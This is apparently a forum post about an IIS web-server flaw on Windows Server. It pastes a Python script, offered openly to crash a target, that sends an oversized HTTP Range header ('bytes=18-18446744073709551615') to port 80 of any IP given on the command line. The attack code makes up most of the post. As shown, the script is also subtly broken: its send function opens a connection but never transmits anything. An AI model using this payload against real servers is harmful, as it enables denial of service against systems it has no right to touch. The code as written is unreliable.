It looks like Microsoft Server 2008 32-bit running IIS is the odd man out.
I don't think that means it is not vulnerable however.

Here is some code to crash it:
And in case that goes away, here it is:
#Tested on Win Srv 2012R2.
import socket,sys
if len(sys.argv)<=1: 
 sys.exit('Give me an IP')
Host = sys.argv[1]
def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
SendPayload(Init, Host)
SendPayload(Payload, Host)
